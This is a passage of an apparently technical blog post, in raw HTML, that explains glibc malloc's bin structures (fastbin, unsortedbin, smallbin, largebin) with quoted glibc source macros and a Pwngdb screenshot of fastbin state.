punctuation\">(</span><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">)</span><span class=\"token operator\">-></span>bins<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>      </span><span class=\"token punctuation\">\\</span>\n             <span class=\"token expression\"><span class=\"token operator\">-</span> <span class=\"token function\">offsetof</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token punctuation\">,</span> fd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<p><code class=\"language-text\">bins</code> manages freed (non-allocated) chunks as doubly linked circular lists using <code class=\"language-text\">fd</code> and <code class=\"language-text\">bk</code>.</p>\n<h2 id=\"fastbin\" style=\"position:relative;\"><a href=\"#fastbin\" aria-label=\"fastbin permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>fastbin</h2>\n<p>Because small chunks tend to be allocated and freed frequently, a mechanism exists that manages them with a singly linked list instead of a doubly linked list, which would take more work to relink.</p>\n<p>This mechanism, introduced in glibc-2.3, is called fastbin.</p>\n<p>fastbin is managed by <code class=\"language-text\">fastbinsY</code> in the <code class=\"language-text\">malloc_state</code> mentioned above.</p>\n<p>By the way, the <code class=\"language-text\">mfastbinptr</code> specified here appears to be defined as a pointer to the <code class=\"language-text\">malloc_chunk</code> struct.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">ifndef</span> <span class=\"token expression\">DEFAULT_MXFAST</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">DEFAULT_MXFAST</span>     <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token number\">64</span> <span class=\"token operator\">*</span> SIZE_SZ <span class=\"token operator\">/</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">endif</span></span>\n\n<span class=\"token comment\">/* The maximum fastbin request size we support */</span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">MAX_FAST_SIZE</span>     <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token number\">80</span> <span class=\"token operator\">*</span> SIZE_SZ <span class=\"token operator\">/</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">NFASTBINS</span>  <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token function\">fastbin_index</span> <span class=\"token punctuation\">(</span><span class=\"token function\">request2size</span> <span class=\"token punctuation\">(</span>MAX_FAST_SIZE<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span></span></span>\n\n<span class=\"token comment\">/* Maximum size of memory handled in fastbins.  */</span>\n<span class=\"token keyword\">static</span> INTERNAL_SIZE_T global_max_fast<span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">/*\n   Set value of max_fast.\n   Use impossibly small value if 0.\n   Precondition: there are no existing fastbin chunks in the main arena.\n   Since do_check_malloc_state () checks this, we call malloc_consolidate ()\n   before changing max_fast.  Note other arenas will leak their fast bin\n   entries if max_fast is reduced.\n */</span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">set_max_fast</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">)</span> </span><span class=\"token punctuation\">\\</span>\n  <span class=\"token expression\">global_max_fast <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">size_t</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> MALLOC_ALIGN_MASK <span class=\"token operator\">-</span> SIZE_SZ<span class=\"token punctuation\">)</span></span><span class=\"token punctuation\">\\</span>\n                     <span class=\"token expression\"><span class=\"token operator\">?</span> MIN_CHUNK_SIZE <span class=\"token operator\">/</span> <span class=\"token number\">2</span> <span class=\"token operator\">:</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>s <span class=\"token operator\">+</span> SIZE_SZ<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token operator\">~</span>MALLOC_ALIGN_MASK<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></span></span>\n\n<span class=\"token keyword\">typedef</span> <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span> <span class=\"token operator\">*</span>mfastbinptr<span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_state</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/* Fastbins */</span>\n  mfastbinptr fastbinsY<span class=\"token punctuation\">[</span>NFASTBINS<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p><code class=\"language-text\">fastbinsY</code> can manage chunks up to 0xb0 bytes, but in practice it seems that <code class=\"language-text\">0x80</code>, defined by the <code class=\"language-text\">global_max_fast</code> macro, is set.</p>\n<p><code class=\"language-text\">fastbinsY</code> is an array with 10 elements, where <code class=\"language-text\">fastbinsY[0]</code> manages the minimum size of 0x20 bytes and the following elements manage 0x30, 0x40, and so on in 0x10-byte increments.</p>\n<p>Therefore, since 0x80 is the default maximum value, only elements 0 through 6 of <code class=\"language-text\">fastbinsY</code> are generally used.</p>\n<p>For chunks managed in fastbin, the <code class=\"language-text\">P: PREV_INUSE</code> bit in the low byte of <code class=\"language-text\">Size of next chunk, in bytes</code> remains set.</p>\n<p>In other words, the chunk is still regarded as being in use.</p>\n<p>With Pwngdb, you can inspect the state of fastbin as follows.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cac8d0ea8ee03084a391103a8b20c4cd/c6ff8/image-20220710110807096.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 33.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA6ElEQVQY04WQW26EMAxFsxsoAZJAXo5JQmAYBkGrfnT/a2nUeWg6/ah0ZB1ZtnVlYjWCT9OxScQGVoZb0zmDM8aV9ajd9JBhvGRRkCgzBe3LWpJaGqZN2JOdPI+fVGBZ91WrM2+NepG8cK1XCJNWGBf3GabAwnvFofy5WtzrizxDmLLCwnic4BR5+Ki4Le9Dxe/Rv5BW2tZYv48mDTl21fkcu6CStooy/c9yzaDrRoQt2kPOXyYdFpwfUGnQBm4RHlmeJEOYsM6kxR/TcI7TIszAceU6cokQzp0O+cPOL72JWTDeOlmE8t8k4VVZRW5i3wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cac8d0ea8ee03084a391103a8b20c4cd/8ac56/image-20220710110807096.webp 240w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/d3be9/image-20220710110807096.webp 480w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/e46b2/image-20220710110807096.webp 960w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/a9e21/image-20220710110807096.webp 1088w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cac8d0ea8ee03084a391103a8b20c4cd/8ff5a/image-20220710110807096.png 240w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/e85cb/image-20220710110807096.png 480w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/d9199/image-20220710110807096.png 960w,\n/static/cac8d0ea8ee03084a391103a8b20c4cd/c6ff8/image-20220710110807096.png 1088w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cac8d0ea8ee03084a391103a8b20c4cd/d9199/image-20220710110807096.png\"\n            alt=\"image-20220710110807096\"\n            title=\"image-20220710110807096\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"unsortedbin\" style=\"position:relative;\"><a href=\"#unsortedbin\" aria-label=\"unsortedbin permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>unsortedbin</h2>\n<p>Freed chunks are eventually sorted into smallbin or largebin, but before that unsortedbin is used for temporary management. (<code class=\"language-text\">unsorted_chunks</code> basically acts as a queue.)</p>\n<p>Note that the <code class=\"language-text\">NON_MAIN_ARENA</code> flag is not set for unsorted chunks.</p>\n<p><code class=\"language-text\">unsorted_chunks</code> is defined by the following macro, which corresponds to <code class=\"language-text\">bin_at(1)</code>, that is, <code class=\"language-text\">bins[0]</code> and <code class=\"language-text\">bins[1]</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/*\n   Unsorted chunks\n\n    All remainders from chunk splits, as well as all returned chunks,\n    are first placed in the \"unsorted\" bin. They are then placed\n    in regular bins after malloc gives them ONE chance to be used before\n    binning. So, basically, the unsorted_chunks list acts as a queue,\n    with chunks being placed on it in free (and malloc_consolidate),\n    and taken off (to be either used or placed in bins) in malloc.\n\n    The NON_MAIN_ARENA flag is never set for unsorted chunks, so it\n    does not have to be taken into account in size comparisons.\n */</span>\n\n<span class=\"token comment\">/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */</span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">unsorted_chunks</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>M<span class=\"token punctuation\">)</span>          <span class=\"token punctuation\">(</span><span class=\"token function\">bin_at</span> <span class=\"token punctuation\">(</span>M<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<h2 id=\"smallbin\" style=\"position:relative;\"><a href=\"#smallbin\" aria-label=\"smallbin permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>smallbin</h2>\n<p>smallbin manages chunks whose size is smaller than <code class=\"language-text\">MIN_LARGE_SIZE</code>.</p>\n<p>By default, chunks smaller than 0x400 bytes are managed by smallbin.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/*\n   Indexing\n\n    Bins for sizes &lt; 512 bytes contain chunks of all the same size, spaced\n    8 bytes apart. Larger bins are approximately logarithmically spaced:\n\n    64 bins of size       8\n    32 bins of size      64\n    16 bins of size     512\n     8 bins of size    4096\n     4 bins of size   32768\n     2 bins of size  262144\n     1 bin  of size what's left\n\n    There is actually a little bit of slop in the numbers in bin_index\n    for the sake of speed. This makes no difference elsewhere.\n\n    The bins top out around 1MB because we expect to service large\n    requests via mmap.\n\n    Bin 0 does not exist.  Bin 1 is the unordered list; if that would be\n    a valid chunk size the small bins are bumped up one.\n */</span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">NBINS</span>             <span class=\"token expression\"><span class=\"token number\">128</span></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">NSMALLBINS</span>         <span class=\"token expression\"><span class=\"token number\">64</span></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">SMALLBIN_WIDTH</span>    <span class=\"token expression\">MALLOC_ALIGNMENT</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">SMALLBIN_CORRECTION</span> <span class=\"token expression\"><span class=\"token punctuation\">(</span>MALLOC_ALIGNMENT <span class=\"token operator\">></span> CHUNK_HDR_SZ<span class=\"token punctuation\">)</span></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">MIN_LARGE_SIZE</span>    <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>NSMALLBINS <span class=\"token operator\">-</span> SMALLBIN_CORRECTION<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> SMALLBIN_WIDTH<span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<p>Unlike unsortedbin, a single bin contains only chunks of the same size.</p>\n<p>Since the minimum chunk size is 0x20, chunks ranging from 0x20 bytes to 0x3f0 bytes are managed as smallbins. (In other words, the bins used are <code class=\"language-text\">bin_at(2)</code> through <code class=\"language-text\">bin_at(63)</code>.)</p>\n<p>The <code class=\"language-text\">smallbin_index</code> below is the macro used to determine the appropriate smallbin index from a chunk size.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">smallbin_index</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span> </span><span class=\"token punctuation\">\\</span>\n  <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>SMALLBIN_WIDTH <span class=\"token operator\">==</span> <span class=\"token number\">16</span> <span class=\"token operator\">?</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token operator\">+</span> SMALLBIN_CORRECTION<span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<h2 id=\"largebin\" style=\"position:relative;\"><a href=\"#largebin\" aria-label=\"largebin permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>largebin</h2>\n<p>All chunks of 0x400 bytes or more are handled by largebin. (There is no upper limit on chunk size for largebin.)</p>\n<p>In largebin, chunks in a certain size range are linked in descending order within a single bin.</p>\n<p>The macros for determining a bin index from a largebin chunk size are defined as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">largebin_index_32</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span>                                                </span><span class=\"token punctuation\">\\</span>\n  <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">38</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span>  <span class=\"token number\">56</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">20</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span>  <span class=\"token number\">91</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">110</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">119</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">124</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token number\">126</span><span class=\"token punctuation\">)</span></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">largebin_index_32_big</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span>                                            </span><span class=\"token punctuation\">\\</span>\n  <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">45</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span>  <span class=\"token number\">49</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">20</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span>  <span class=\"token number\">91</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">110</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">119</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token 